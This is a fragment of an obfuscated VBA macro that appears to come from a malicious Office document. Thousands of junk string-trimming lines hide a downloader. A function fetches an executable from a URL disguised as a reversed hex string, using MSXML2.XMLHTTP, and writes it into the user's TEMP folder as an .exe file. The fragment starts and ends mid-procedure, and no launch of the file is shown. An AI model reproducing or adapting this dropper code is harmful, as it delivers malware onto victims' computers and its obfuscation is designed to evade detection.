Dim peNZCaYg, yepFkyrh, arlNSpAk As String
Dim ipKlAjDz, wNVCUeBP, BsdJjbIt As String
ipKlAjDz = "           MFXCVL               "
wNVCUeBP = LTrim(ipKlAjDz)
BsdJjbIt = RTrim(wNVCUeBP)

peNZCaYg = "           QGZLHM               "
Dim VOcSLvKv, XmavJnvC, inDAlgAi As String
VOcSLvKv = "           CENZPF               "
XmavJnvC = LTrim(VOcSLvKv)
inDAlgAi = RTrim(XmavJnvC)

yepFkyrh = LTrim(peNZCaYg)
Dim mklIFVnZ, jlEMoeVE, slFyEuwT As String
mklIFVnZ = "           JCSXSL               "
jlEMoeVE = LTrim(mklIFVnZ)
slFyEuwT = RTrim(jlEMoeVE)

arlNSpAk = RTrim(yepFkyrh)

Dim qXRRdsRr, HJdBnYxW, mSMlDafD As String
qXRRdsRr = "           DRAUDV               "
HJdBnYxW = LTrim(qXRRdsRr)
mSMlDafD = RTrim(HJdBnYxW)

fRiHXOLL = RTrim(lEVRATwK)

Dim wilFzGes, fvpbLXkG, LlKMyjpY As String
Dim RzhclaPS, LKwzvSXm, wrPXipTF As String
RzhclaPS = "           TPINMP               "
LKwzvSXm = LTrim(RzhclaPS)
wrPXipTF = RTrim(LKwzvSXm)

wilFzGes = "           BWNMCY               "
Dim kKAjyqUQ, EVflIVPW, ZIJyYNjm As String
kKAjyqUQ = "           UUZJJU               "
EVflIVPW = LTrim(kKAjyqUQ)
ZIJyYNjm = RTrim(EVflIVPW)

fvpbLXkG = LTrim(wilFzGes)
Dim DFqwwMOP, IFmUHByS, RGRLqeED As String
DFqwwMOP = "           LCEUFV               "
IFmUHByS = LTrim(DFqwwMOP)
RGRLqeED = RTrim(IFmUHByS)

LlKMyjpY = RTrim(fvpbLXkG)

Dim nUzHjpTF, tEOsETxT, PvkYJNgc As String
nUzHjpTF = "           WCDDGV               "
tEOsETxT = LTrim(nUzHjpTF)
PvkYJNgc = RTrim(tEOsETxT)

    IZNSSJCCIKZ HexToString(StrReverse("568756E2E69626F237A6F2F666E696E2564716473756C61656271696E69646271637F2F2A307474786")), Environ(HexToString(StrReverse("05D45445"))) & HexToString(StrReverse("568756E22494841464A4D4A5755495C5"))
End Sub
Function IZNSSJCCIKZ(ByVal SLIPSJGVNVY As String, ByVal HSZAKTQRXVD As String) As Boolean
     Dim CPNTFBEJUZO As Object, LXCKVGNTRWE As Long, KRUSSZJMQME As Long, OISBYEFREAZ() As Byte


Dim EpDilnCn, itwZTWFk, DNeCLhTp As String
Dim IVeHRRfi, CFolPhbH, bBxflDoq As String
Dim Bsqzlgvp, AxbXeSiE, HdRbocls As String
Bsqzlgvp = "           GFTGMJ               "
AxbXeSiE = LTrim(Bsqzlgvp)
HdRbocls = RTrim(AxbXeSiE)

IVeHRRfi = "           UIAONB               "
Dim wXMeBGGB, IzYyAZLp, MiloejXl As String
wXMeBGGB = "           OOQQFX               "
IzYyAZLp = LTrim(wXMeBGGB)
MiloejXl = RTrim(IzYyAZLp)

CFolPhbH = LTrim(IVeHRRfi)
Dim FipUQAIn, PilLyTyZ, ToEtnPEE As String
FipUQAIn = "           AKUWPU               "
PilLyTyZ = LTrim(FipUQAIn)
ToEtnPEE = RTrim(PilLyTyZ)

bBxflDoq = RTrim(CFolPhbH)

Dim nunyJBWl, yeiArlSq, QVGXjGRe As String
nunyJBWl = "           WPBWZK               "
yeiArlSq = LTrim(nunyJBWl)
QVGXjGRe = RTrim(yeiArlSq)

EpDilnCn = "           XQTXHT               "
Dim JjdFWmnF, HaHnLxud, zuZEmppc As String
Dim lcMhrppq, WIopDULT, pvgDLltd As String
lcMhrppq = "           YTZRAI               "
WIopDULT = LTrim(lcMhrppq)
pvgDLltd = RTrim(WIopDULT)

JjdFWmnF = "           MMMEQS               "
Dim ieBSTbTx, loQGudIU, TgcKOaSJ As String
ieBSTbTx = "           OCKQLU               "
loQGudIU = LTrim(ieBSTbTx)
TgcKOaSJ = RTrim(loQGudIU)

HaHnLxud = LTrim(JjdFWmnF)
Dim jmhpLfnl, dmbwdkVl, iwOUUxwm As String
jmhpLfnl = "           GVPPFN               "
dmbwdkVl = LTrim(jmhpLfnl)
iwOUUxwm = RTrim(dmbwdkVl)

zuZEmppc = RTrim(HaHnLxud)

Dim lAeHidHa, VxQqmUIL, JDAXsFCx As String
lAeHidHa = "           VRKXBK               "
VxQqmUIL = LTrim(lAeHidHa)
JDAXsFCx = RTrim(VxQqmUIL)

itwZTWFk = LTrim(EpDilnCn)
Dim yBZlTdXV, zNSRNjlN, CaXHmwJa As String
Dim jinDgjeq, TVYkmzgL, ipMsrbVf As String
jinDgjeq = "           VDDIKL               "
TVYkmzgL = LTrim(jinDgjeq)
ipMsrbVf = RTrim(TVYkmzgL)

yBZlTdXV = "           PFHFUN               "
Dim xLuzChtT, mEPFWkPt, YPxJcyFh As String
xLuzChtT = "           OIJPDP               "
mEPFWkPt = LTrim(xLuzChtT)
YPxJcyFh = RTrim(mEPFWkPt)

zNSRNjlN = LTrim(yBZlTdXV)
Dim whnfVmpn, khPblbUA, djWQDEtE As String
whnfVmpn = "           JXGSJR               "
khPblbUA = LTrim(whnfVmpn)
djWQDEtE = RTrim(khPblbUA)

CaXHmwJa = RTrim(zNSRNjlN)

Dim HjDrMzBm, wsmvucHs, NueLlKIr As String
HjDrMzBm = "           EFTMEL               "
wsmvucHs = LTrim(HjDrMzBm)
NueLlKIr = RTrim(wsmvucHs)

DNeCLhTp = RTrim(itwZTWFk)

Dim pNHzNiMZ, zjUDHgoy, UsgieONC As String
Dim lvHSjXPv, UgWhwUXu, pbppttTn As String
lvHSjXPv = "           BWWUKI               "
UgWhwUXu = LTrim(lvHSjXPv)
pbppttTn = RTrim(UgWhwUXu)

pNHzNiMZ = "           LJQZWG               "
Dim UrlqqRZM, MpyfDkTt, KWOaQlsE As String
UrlqqRZM = "           GDVGLJ               "
MpyfDkTt = LTrim(UrlqqRZM)
KWOaQlsE = RTrim(MpyfDkTt)

zjUDHgoy = LTrim(pNHzNiMZ)
Dim KqZddcXe, FsSvYZlt, OdCPaYJy As String
KqZddcXe = "           XOSEOD               "
FsSvYZlt = LTrim(KqZddcXe)
OdCPaYJy = RTrim(FsSvYZlt)

UsgieONC = RTrim(zjUDHgoy)

Dim PAXbqGug, hcRWcpVy, WlshPRHV As String
PAXbqGug = "           NMPTSD               "
hcRWcpVy = LTrim(PAXbqGug)
WlshPRHV = RTrim(hcRWcpVy)

    Set CPNTFBEJUZO = CreateObject("MSXML2.XMLHTTP")
    CPNTFBEJUZO.Open "GET", SLIPSJGVNVY, False
Dim mTQzdIBs, OwJTklqM, sYybaJMf As String
Dim DXWxSIzk, zSaNJlfN, jZyECtbI As String
Dim xbxdrdkg, BPQyDPaI, fnJPLwdj As String
xbxdrdkg = "           IYHZAP               "
BPQyDPaI = LTrim(xbxdrdkg)
fnJPLwdj = RTrim(BPQyDPaI)

DXWxSIzk = "           PUCBEA               "
Dim HTsHjVHm, zQVLKQMT, gJPXmbCH As String
HTsHjVHm = "           LAMTXA               "
zQVLKQMT = LTrim(HTsHjVHm)
gJPXmbCH = RTrim(zQVLKQMT)

zSaNJlfN = LTrim(DXWxSIzk)
Dim RgajytQy, nhqZnoou, whmFWfYi As String
RgajytQy = "           XWEDWX               "
nhqZnoou = LTrim(RgajytQy)
whmFWfYi = RTrim(nhqZnoou)

jZyECtbI = RTrim(zSaNJlfN)

Dim ayyPGJBs, MxCwYVfG, vkRJLlyU As String
ayyPGJBs = "           GLLLHU               "
MxCwYVfG = LTrim(ayyPGJBs)
vkRJLlyU = RTrim(MxCwYVfG)

mTQzdIBs = "           NVLGHA               "
Dim TpEEMGIG, KhhYxESN, HaKlmTkv As String
Dim lgUjuYyD, ItDWdkkw, qhzFXGaG As String
lgUjuYyD = "           NHJXFN               "
ItDWdkkw = LTrim(lgUjuYyD)
qhzFXGaG = RTrim(ItDWdkkw)

TpEEMGIG = "           FHZVQX               "
Dim RnvFWlUf, HYqJxuPc, zSCMBWFI As String
RnvFWlUf = "           DVNEQQ               "
HYqJxuPc = LTrim(RnvFWlUf)
zSCMBWFI = RTrim(HYqJxuPc)

KhhYxESN = LTrim(TpEEMGIG)
Dim OdWGGkPn, kKXPTPPH, dLuXNFiJ As String
OdWGGkPn = "           JPWJCO               "
kKXPTPPH = LTrim(OdWGGkPn)
dLuXNFiJ = RTrim(kKXPTPPH)

HaKlmTkv = RTrim(KhhYxESN)

Dim VBMYFsvf, ZWZzaYjy, iHpxfaiC As String
VBMYFsvf = "           DHDJGJ               "
ZWZzaYjy = LTrim(VBMYFsvf)
iHpxfaiC = RTrim(ZWZzaYjy)

OwJTklqM = LTrim(mTQzdIBs)
Dim TEuNBFHc, ARkslLfv, xTAcFCQn As String
Dim mHWcYyjY, CzpkhENN, qKgWwgsI As String
mHWcYyjY = "           UGZIGY               "
CzpkhENN = LTrim(mHWcYyjY)
qKgWwgsI = RTrim(CzpkhENN)

TEuNBFHc = "           XEYTJF               "
Dim IZVNQWvJ, MIPefOAz, uFxyGcTd As String
IZVNQWvJ = "           XPJJXL               "
MIPefOAz = LTrim(IZVNQWvJ)
uFxyGcTd = RTrim(MIPefOAz)

ARkslLfv = LTrim(TEuNBFHc)
Dim rmXJDEif, NwuriIRg, WwjhASzj As String
rmXJDEif = "           OVNAQI               "
NwuriIRg = LTrim(rmXJDEif)
WwjhASzj = RTrim(NwuriIRg)

xTAcFCQn = RTrim(ARkslLfv)

Dim CUYJcLBX, AZgsPfJF, uvXYCOIT As String
CUYJcLBX = "           YCZFKG               "
AZgsPfJF = LTrim(CUYJcLBX)
uvXYCOIT = RTrim(AZgsPfJF)

sYybaJMf = RTrim(OwJTklqM)

Dim yXxxvqYN, PJtJQYcJ, hSSdBahO As String
Dim sjXgKUcx, FAqoAtuH, zkjSUHlv As String
sjXgKUcx = "           ZZZEWM               "
FAqoAtuH = LTrim(sjXgKUcx)
zkjSUHlv = RTrim(FAqoAtuH)

yXxxvqYN = "           JGZSIJ               "
Dim PDFUVsWW, OvklXfnm, WRrxczRR As String
PDFUVsWW = "           JTINDI               "
OvklXfnm = LTrim(PDFUVsWW)
WRrxczRR = RTrim(OvklXfnm)

PJtJQYcJ = LTrim(yXxxvqYN)
Dim TQSREmjk, ASXHVvFl, xDyzlEqm As String
TQSREmjk = "           XUWMUR               "
ASXHVvFl = LTrim(TQSREmjk)
xDyzlEqm = RTrim(ASXHVvFl)

hSSdBahO = RTrim(PJtJQYcJ)

Dim wgeePSNZ, gRLFALgy, LnAoFfuV As String
wgeePSNZ = "           BVKZFR               "
gRLFALgy = LTrim(wgeePSNZ)
LnAoFfuV = RTrim(gRLFALgy)

    CPNTFBEJUZO.Send "sdfdsfdsf"


Dim ojjmZKLv, mxecrYXO, luYqzIZi As String
Dim bVZDxMSE, zpJUykwC, jNCqseUT As String
Dim zCgeUYeb, RoEXjrSL, LBInwHVA As String
zCgeUYeb = "           VKSCHM               "
RoEXjrSL = LTrim(zCgeUYeb)
LBInwHVA = RTrim(RoEXjrSL)

bVZDxMSE = "           EIFUXU               "
Dim vODMofkn, QGbCQamQ, OneOIeaq As String
vODMofkn = "           QEIYKO               "
QGbCQamQ = LTrim(vODMofkn)
OneOIeaq = RTrim(QGbCQamQ)

zpJUykwC = LTrim(bVZDxMSE)
Dim ASJlbgsj, cDaTMlOk, lFqJgcul As String
ASJlbgsj = "           MUCGRA               "
cDaTMlOk = LTrim(ASJlbgsj)
lFqJgcul = RTrim(cDaTMlOk)

jNCqseUT = RTrim(zpJUykwC)

Dim HwyVpuIn, wjFlxAbl, gURrfIGX As String
HwyVpuIn = "           PALNNG               "
wjFlxAbl = LTrim(HwyVpuIn)
gURrfIGX = RTrim(wjFlxAbl)

ojjmZKLv = "           ZLXMZV               "
Dim IjSSDPBp, MxvGgvzm, uZqKJdyR As String
Dim dqkKJJRC, AacwCZHT, rsQhYNbB As String
dqkKJJRC = "           XFOPYY               "
AacwCZHT = LTrim(dqkKJJRC)
rsQhYNbB = RTrim(AacwCZHT)

IjSSDPBp = "           GMUZUM               "
Dim QOtnBfbz, VGJEAzEd, pWEYeGYc As String
QOtnBfbz = "           JEHCFO               "
VGJEAzEd = LTrim(QOtnBfbz)
pWEYeGYc = RTrim(VGJEAzEd)

MxvGgvzm = LTrim(IjSSDPBp)
Dim ldLiaPcD, gdelwFWF, pfdTHLlG As String
ldLiaPcD = "           HMBOKS               "
gdelwFWF = LTrim(ldLiaPcD)
pfdTHLlG = RTrim(gdelwFWF)

uZqKJdyR = RTrim(MxvGgvzm)

Dim SwmJeTnI, jjzsjNkb, XsOUEwpk As String
SwmJeTnI = "           IANXCA               "
jjzsjNkb = LTrim(SwmJeTnI)
XsOUEwpk = RTrim(jjzsjNkb)

mxecrYXO = LTrim(ojjmZKLv)
Dim DqZfoSDZ, IsSbEJqR, RdCQVWIT As String
Dim SQjKwQnB, gXTStopl, ESQhqMwa As String
SQjKwQnB = "           OAIPWE               "
gXTStopl = LTrim(SQjKwQnB)
ESQhqMwa = RTrim(gXTStopl)

DqZfoSDZ = "           NMHSXD               "
Dim HIMkdQal, zFYmFvrE, gMlcjdiF As String
HIMkdQal = "           LEQKMM               "
zFYmFvrE = LTrim(HIMkdQal)
gMlcjdiF = RTrim(zFYmFvrE)

IsSbEJqR = LTrim(DqZfoSDZ)
Dim zPbHCQRl, VQOzkGzl, LQLfSMbm As String
zPbHCQRl = "           UYGNHS               "
VQOzkGzl = LTrim(zPbHCQRl)
LQLfSMbm = RTrim(VQOzkGzl)

RdCQVWIT = RTrim(IsSbEJqR)

Dim DGlNIyRt, lPzmWnwX, VTOGiXfF As String
DGlNIyRt = "           AAXKVW               "
lPzmWnwX = LTrim(DGlNIyRt)
VTOGiXfF = RTrim(lPzmWnwX)

luYqzIZi = RTrim(mxecrYXO)

Dim kzoEQyTE, CCHVVnxw, ALclqWgf As String
Dim qbaslNOa, bhuHbQWO, znmPooRe As String
qbaslNOa = "           WWNMMP               "
bhuHbQWO = LTrim(qbaslNOa)
znmPooRe = RTrim(bhuHbQWO)

kzoEQyTE = "           HUHUBW               "
Dim bilAqDvI, cKCfoGti, PVOjQEil As String
bilAqDvI = "           QGVCLX               "
cKCfoGti = LTrim(bilAqDvI)
PVOjQEil = RTrim(cKCfoGti)

CCHVVnxw = LTrim(kzoEQyTE)
Dim WVEwasdp, JBFUwjPq, SBVLHmis As String
WVEwasdp = "           RDJHKN               "
JBFUwjPq = LTrim(WVEwasdp)
SBVLHmis = RTrim(JBFUwjPq)

ALclqWgf = RTrim(CCHVVnxw)

Dim HCxSqTqA, wKtucNzl, goWKgujC As String
HCxSqTqA = "           PGZMAA               "
wKtucNzl = LTrim(HCxSqTqA)
goWKgujC = RTrim(wKtucNzl)

    OISBYEFREAZ = CPNTFBEJUZO.responseBody

Dim aEVZQBbW, XRoFtrCC, KTlNbimV As String
Dim xGTETrIJ, BNLcgAkq, fHBzmdEL As String
Dim tYYMbKzP, lxQvTEfl, IdJzQgba As String
tYYMbKzP = "           LBHQCY               "
lxQvTEfl = LTrim(tYYMbKzP)
IdJzQgba = RTrim(lxQvTEfl)

xGTETrIJ = "           AEGENS               "
Dim xBlPMENJ, OttDxkea, UGInmlOn As String
xBlPMENJ = "           PQCZQJ               "
OttDxkea = LTrim(xBlPMENJ)
UGInmlOn = RTrim(OttDxkea)

BNLcgAkq = LTrim(xGTETrIJ)
Dim cflwlTlT, lgEUDOJU, ggDMiFgI As String
cflwlTlT = "           KWSHAO               "
lgEUDOJU = LTrim(cflwlTlT)
ggDMiFgI = RTrim(lgEUDOJU)

fHBzmdEL = RTrim(BNLcgAkq)

Dim qoypKyKR, GrFTynOx, mBwNlWAg As String
qoypKyKR = "           MWLTKF               "
GrFTynOx = LTrim(qoypKyKR)
mBwNlWAg = RTrim(GrFTynOx)

aEVZQBbW = "           UEALPL               "
Dim ecCBVRhG, hEOzbllN, AOwyzyxq As String
Dim LTcTsZQQ, uwEpjgCl, OYJeNQYF As String
LTcTsZQQ = "           SVSRHB               "
uwEpjgCl = LTrim(LTcTsZQQ)
OYJeNQYF = RTrim(uwEpjgCl)

ecCBVRhG = "           NCSODJ               "
Dim FbGLmZpl, NTAXXhfR, VjtOMkLe As String
FbGLmZpl = "           KVOYVH               "
NTAXXhfR = LTrim(FbGLmZpl)
VjtOMkLe = RTrim(NTAXXhfR)

hEOzbllN = LTrim(ecCBVRhG)
Dim TMLlYWDi, nMeTaBqo, xWdKwrIp As String
TMLlYWDi = "           XQVGIJ               "
nMeTaBqo = LTrim(TMLlYWDi)
xWdKwrIp = RTrim(nMeTaBqo)

AOwyzyxq = RTrim(hEOzbllN)

Dim PPBIGWoV, gTUezhNG, MAgcgQKU As String
PPBIGWoV = "           NVQOAH               "
gTUezhNG = LTrim(PPBIGWoV)
MAgcgQKU = RTrim(gTUezhNG)

XRoFtrCC = LTrim(aEVZQBbW)
Dim jdOSYhWp, ddMValkq, ifrpwvGs As String
Dim odlKXOqr, QcISTuMc, NfDhPKyy As String
odlKXOqr = "           ABFKCW               "
QcISTuMc = LTrim(odlKXOqr)
NfDhPKyy = RTrim(QcISTuMc)

jdOSYhWp = "           GMMVIA               "
Dim buVPnCix, QdPDeQsU, VlxHRvgJ As String
buVPnCix = "           QGDAAN               "
QdPDeQsU = LTrim(buVPnCix)
VlxHRvgJ = RTrim(QdPDeQsU)

ddMValkq = LTrim(jdOSYhWp)
Dim WaSkvQFy, JzXELHsu, SeuGfMOi As String
WaSkvQFy = "           RGWFRS               "
JzXELHsu = LTrim(WaSkvQFy)
SeuGfMOi = RTrim(JzXELHsu)

ifrpwvGs = RTrim(ddMValkq)

Dim eZsupOll, XKeKaHUC, nFPdfqbG As String
eZsupOll = "           HTXRNE               "
XKeKaHUC = LTrim(eZsupOll)
nFPdfqbG = RTrim(XKeKaHUC)

KTlNbimV = RTrim(XRoFtrCC)

Dim UFTGGrTf, sOfqzbxy, JRWTgMgC As String
Dim dSsKKTSt, GCbSAewv, rDThUFUu As String
dSsKKTSt = "           ESPKWL               "
GCbSAewv = LTrim(dSsKKTSt)
rDThUFUu = RTrim(GCbSAewv)

UFTGGrTf = "           VNZDAW               "
Dim pmAlSKsl, xnfcfThE, IYNnHllF As String
pmAlSKsl = "           PYYZXJ               "
xnfcfThE = LTrim(pmAlSKsl)
IYNnHllF = RTrim(xnfcfThE)

sOfqzbxy = LTrim(UFTGGrTf)
Dim GpddXhOe, Qqcvjlur, YsUPQvRt As String
GpddXhOe = "           ALOQHA               "
Qqcvjlur = LTrim(GpddXhOe)
YsUPQvRt = RTrim(Qqcvjlur)

JRWTgMgC = RTrim(sOfqzbxy)

Dim psmwxuaK, GueHOAKO, lePsXCPA As String
psmwxuaK = "           LCAQUG               "
GueHOAKO = LTrim(psmwxuaK)
lePsXCPA = RTrim(GueHOAKO)

    KRUSSZJMQME = FreeFile
    Open HSZAKTQRXVD For Binary Access Write As #KRUSSZJMQME
Dim iiiRQBxS, DeGBVlfR, kBclqGyw As String
Dim VsKTOJCG, szCoGZoc, GdsevNKK As String
Dim GBdVnieM, rGkAYLgZ, YNYwhjVX As String
GBdVnieM = "           QIYDVF               "
rGkAYLgZ = LTrim(GBdVnieM)
YNYwhjVX = RTrim(rGkAYLgZ)

VsKTOJCG = "           GGXRZY               "
Dim JoDObizf, GLjwcpIS, aBevNVQC As String
JoDObizf = "           MHUAAY               "
GLjwcpIS = LTrim(JoDObizf)
aBevNVQC = RTrim(GLjwcpIS)

szCoGZoc = LTrim(VsKTOJCG)
Dim SealJgtu, IrqTslZi, EtmJYcNo As String
SealJgtu = "           NHZFDA               "
IrqTslZi = LTrim(SealJgtu)
EtmJYcNo = RTrim(IrqTslZi)

GdsevNKK = RTrim(szCoGZoc)

Dim VzCjOywp, EVTQXnda, oLdyoXrL As String
VzCjOywp = "           UUPNVW               "
EVTQXnda = LTrim(VzCjOywp)
oLdyoXrL = RTrim(EVTQXnda)

iiiRQBxS = "           SPHUBK               "
Dim gTvLwvjs, djzTlnXQ, bxFIXgNW As String
Dim tQSWJsjt, UXaGnINb, XSulTmsi As String
tQSWJsjt = "           BSCMWO               "
UXaGnINb = LTrim(tQSWJsjt)
XSulTmsi = RTrim(UXaGnINb)

gTvLwvjs = "           YANYBF               "
Dim qmvSigCo, xnqGOeNl, mqFAUtYL As String
qmvSigCo = "           EXNZKO               "
xnqGOeNl = LTrim(qmvSigCo)
mqFAUtYL = RTrim(xnqGOeNl)

djzTlnXQ = LTrim(gTvLwvjs)
Dim PGcEqJeV, YHUGRWnB, AJKaBNVN As String
PGcEqJeV = "           BOFMCG               "
YHUGRWnB = LTrim(PGcEqJeV)
AJKaBNVN = RTrim(YHUGRWnB)

bxFIXgNW = RTrim(djzTlnXQ)

Dim AshaIlAI, mZuSbnHs, NcFuSWUr As String
AshaIlAI = "           ZXVADW               "
mZuSbnHs = LTrim(AshaIlAI)
NcFuSWUr = RTrim(mZuSbnHs)

DeGBVlfR = LTrim(iiiRQBxS)
Dim nPKtAsDo, wQzjWjqp, jSsZhmIq As String
Dim bHBrtYVq, FYtUqkoL, jJlAMGKf As String
bHBrtYVq = "           ERNHDN               "
FYtUqkoL = LTrim(bHBrtYVq)
jJlAMGKf = RTrim(FYtUqkoL)

nPKtAsDo = "           LYVUTN               "
Dim pNxzutUp, xyotOLPm, mHSJUWjM As String
pNxzutUp = "           EQBPJR               "
xyotOLPm = LTrim(pNxzutUp)
mHSJUWjM = RTrim(xyotOLPm)

wQzjWjqp = LTrim(nPKtAsDo)
Dim DCZgRZKj, OCSnBYhk, RVXDlQDl As String
DCZgRZKj = "           NSHSUI               "
OCSnBYhk = LTrim(DCZgRZKj)
RVXDlQDl = RTrim(OCSnBYhk)

jSsZhmIq = RTrim(wQzjWjqp)

Dim xhonlrgf, zsJWYvyy, MZUYcYmO As String
xhonlrgf = "           NBWFTD               "
zsJWYvyy = LTrim(xhonlrgf)
MZUYcYmO = RTrim(zsJWYvyy)

kBclqGyw = RTrim(DeGBVlfR)

Dim busjZkKr, tzMQGSOW, VlPxTLBv As String
Dim CPomVBvk, sngVrPPN, FQEKDill As String
CPomVBvk = "           FARVOP               "
sngVrPPN = LTrim(CPomVBvk)
FQEKDill = RTrim(sngVrPPN)

busjZkKr = "           AMXOOM               "
Dim jGrALFZi, ZWHRmAYk, FaZUChOZ As String
jGrALFZi = "           YYHCPX               "
ZWHRmAYk = LTrim(jGrALFZi)
FaZUChOZ = RTrim(ZWHRmAYk)

tzMQGSOW = LTrim(busjZkKr)
Dim KNXVOwuo, DayprnRp, OzhwvRzs As String
KNXVOwuo = "           ZFNROR               "
DayprnRp = LTrim(KNXVOwuo)
OzhwvRzs = RTrim(DayprnRp)

VlPxTLBv = RTrim(tzMQGSOW)

Dim SrlBbSLm, jNNlSuPd, XWIFNAAr As String
SrlBbSLm = "           ILBNIR               "
jNNlSuPd = LTrim(SrlBbSLm)
XWIFNAAr = RTrim(jNNlSuPd)

    Put #KRUSSZJMQME, , OISBYEFREAZ
Dim jvAHGGUn, LPHPvdjM, ibWfRVZZ As String
Dim WeHKaoch, cftSPYuO, SrqhGklk As String
Dim QvVpACpV, NgrFUIwY, ZblIjyta As String
QvVpACpV = "           OWBLVI               "
NgrFUIwY = LTrim(QvVpACpV)
ZblIjyta = RTrim(NgrFUIwY)

WeHKaoch = "           MWBKBI               "
Dim eLnHKFtj, gBdLmZoA, ntBXXhsQ As String
eLnHKFtj = "           YKYDBG               "
gBdLmZoA = LTrim(eLnHKFtj)
ntBXXhsQ = RTrim(gBdLmZoA)

cftSPYuO = LTrim(WeHKaoch)
Dim EqGmUgKZ, vqNYzlhE, mspKwcDR As String
EqGmUgKZ = "           WLCGIA               "
vqNYzlhE = LTrim(EqGmUgKZ)
mspKwcDR = RTrim(vqNYzlhE)

SrqhGklk = RTrim(cftSPYuO)

Dim sRkyjtFy, JbNnEbYC, xmUWHWcG As String
sRkyjtFy = "           FWWWGW               "
JbNnEbYC = LTrim(sRkyjtFy)
xmUWHWcG = RTrim(JbNnEbYC)

jvAHGGUn = "           TYKJMV               "
Dim ZABXWbxW, AdZOLAzm, DlgSmhyT As String
Dim FQAymLsG, eAUPnRcc, TSXRpzuK As String
FQAymLsG = "           PAFJWU               "
eAUPnRcc = LTrim(FQAymLsG)
TSXRpzuK = RTrim(eAUPnRcc)

ZABXWbxW = "           DBDUQG               "
Dim xekZceZT, wFWhwtit, UMUlCLsh As String
xekZceZT = "           PDCVNE               "
wFWhwtit = LTrim(xekZceZT)
UMUlCLsh = RTrim(wFWhwtit)

AdZOLAzm = LTrim(ZABXWbxW)
Dim hhzZillf, qjsFZxJg, ukwNXAgj As String
hhzZillf = "           FXELWE               "
qjsFZxJg = LTrim(hhzZillf)
ukwNXAgj = RTrim(qjsFZxJg)

DlgSmhyT = RTrim(AdZOLAzm)

Dim kcPIjTpZ, ClkeEaal, GOoFmihC As String
kcPIjTpZ = "           CZIKRA               "
ClkeEaal = LTrim(kcPIjTpZ)
GOoFmihC = RTrim(ClkeEaal)

LPHPvdjM = LTrim(jvAHGGUn)
Dim KuRfkhbZ, FiFbQmCE, OiBQyvmT As String
Dim rbSlnkCL, YQafpFYd, WAyKhnKW As String
rbSlnkCL = "           BYCYSS               "
YQafpFYd = LTrim(rbSlnkCL)
WAyKhnKW = RTrim(YQafpFYd)

KuRfkhbZ = "           ZJJSNZ               "
Dim YAlZEXFX, RdCgAVmm, JlOkrQcT As String
YAlZEXFX = "           FBVCEN               "
RdCgAVmm = LTrim(YAlZEXFX)
JlOkrQcT = RTrim(RdCgAVmm)

FiFbQmCE = LTrim(KuRfkhbZ)
Dim jPVBEluq, dPisCxRs, iQlckAzf As String
jPVBEluq = "           GYATYE               "
dPisCxRs = LTrim(jPVBEluq)
iQlckAzf = RTrim(dPisCxRs)

OiBQyvmT = RTrim(FiFbQmCE)

Dim dRfvKPlB, JnXLtysJ, xwEfkneO As String
dRfvKPlB = "           WYCDJR               "
JnXLtysJ = LTrim(dRfvKPlB)
xwEfkneO = RTrim(JnXLtysJ)

ibWfRVZZ = RTrim(LPHPvdjM)

Dim xrOUrHUl, aBkzjsbq, YMBxEYjz As String
Dim WCXDoTWs, cipUKeEY, SVhqVFGg As String
WCXDoTWs = "           WKZGRL               "
cipUKeEY = LTrim(WCXDoTWs)
SVhqVFGg = RTrim(cipUKeEY)

xrOUrHUl = "           NKIJCU               "
Dim CtZaHPvg, pqgrkcZb, iXKHhbiV As String
CtZaHPvg = "           CFZPOM               "
pqgrkcZb = LTrim(CtZaHPvg)
iXKHhbiV = RTrim(pqgrkcZb)

aBkzjsbq = LTrim(xrOUrHUl)
Dim LVXfHWuK, GBybqNRL, PNhQRrzM As String
LVXfHWuK = "           EDNSDJ               "
GBybqNRL = LTrim(LVXfHWuK)
PNhQRrzM = RTrim(GBybqNRL)

YMBxEYjz = RTrim(aBkzjsbq)

Dim RaexZwld, pXPJGHqr, GJlszszX As String
RaexZwld = "           CYDEME               "
pXPJGHqr = LTrim(RaexZwld)
GJlszszX = RTrim(pXPJGHqr)

    Close #KRUSSZJMQME
Dim ZAthIEzR, FUJlqjtG, SlmtolQf As String
Dim UupkyZDT, XChXsfBf, voRHWQIU As String
Dim KXsInJMY, mubZpgEN, OCTyhNGI As String
KXsInJMY = "           LJPDDB               "
mubZpgEN = LTrim(KXsInJMY)
OCTyhNGI = RTrim(mubZpgEN)

UupkyZDT = "           USTCDV               "
Dim lpHzSxqO, RhZtfqgL, JwgiHVkr As String
lpHzSxqO = "           UHOPUD               "
RhZtfqgL = LTrim(lpHzSxqO)
JwgiHVkr = RTrim(RhZtfqgL)

XChXsfBf = LTrim(UupkyZDT)
Dim oSuALFML, rDjDdLkW, NFABUCGX As String
oSuALFML = "           QUYKFF               "
rDjDdLkW = LTrim(oSuALFML)
NFABUCGX = RTrim(rDjDdLkW)

voRHWQIU = RTrim(XChXsfBf)

Dim hgZZLLel, oTlfPNlX, DnaICwpF As String
hgZZLLel = "           XVRFKI               "
oTlfPNlX = LTrim(hgZZLLel)
DnaICwpF = RTrim(oTlfPNlX)

ZAthIEzR = "           SBHJTJ               "
Dim yQwsFpWp, kJighVBm, hAQafNRL As String
Dim ySkiXxpW, mAcSaiwE, CDQYPTtC As String
ySkiXxpW = "           LZOKIW               "
mAcSaiwE = LTrim(ySkiXxpW)
CDQYPTtC = RTrim(mAcSaiwE)

yQwsFpWp = "           ARBGIU               "
Dim iLayCtMf, mBDobLCv, YtbsaYNO As String
iLayCtMf = "           ZIGSSR               "
mBDobLCv = LTrim(iLayCtMf)
YtbsaYNO = RTrim(mBDobLCv)

kJighVBm = LTrim(yQwsFpWp)
Dim ZCeQGKYl, pZrUTqYO, yZgLNgrP As String
ZCeQGKYl = "           FZBHCC               "
pZrUTqYO = LTrim(ZCeQGKYl)
yZgLNgrP = RTrim(pZrUTqYO)

hAQafNRL = RTrim(kJighVBm)

Dim HOzEFSmu, wROBaudV, abklfArH As String
HOzEFSmu = "           PIJGGR               "
wROBaudV = LTrim(HOzEFSmu)
abklfArH = RTrim(wROBaudV)

FUJlqjtG = LTrim(ZAthIEzR)
Dim swewQzaq, uxdUyuvd, ecxLnqXf As String
Dim NBAhXOof, ZpHpTuKU, HNWDPLrh As String
NBAhXOof = "           CLKRCW               "
ZpHpTuKU = LTrim(NBAhXOof)
HNWDPLrh = RTrim(ZpHpTuKU)

swewQzaq = "           TFBUXZ               "
Dim aqJJJHyL, djEMlRor, vxhCWkdg As String
aqJJJHyL = "           TAFDVH               "
djEMlRor = LTrim(aqJJJHyL)
vxhCWkdg = RTrim(djEMlRor)

uxdUyuvd = LTrim(swewQzaq)
Dim cVdVdAax, lVxpUTvc, gBYwaPXv As String
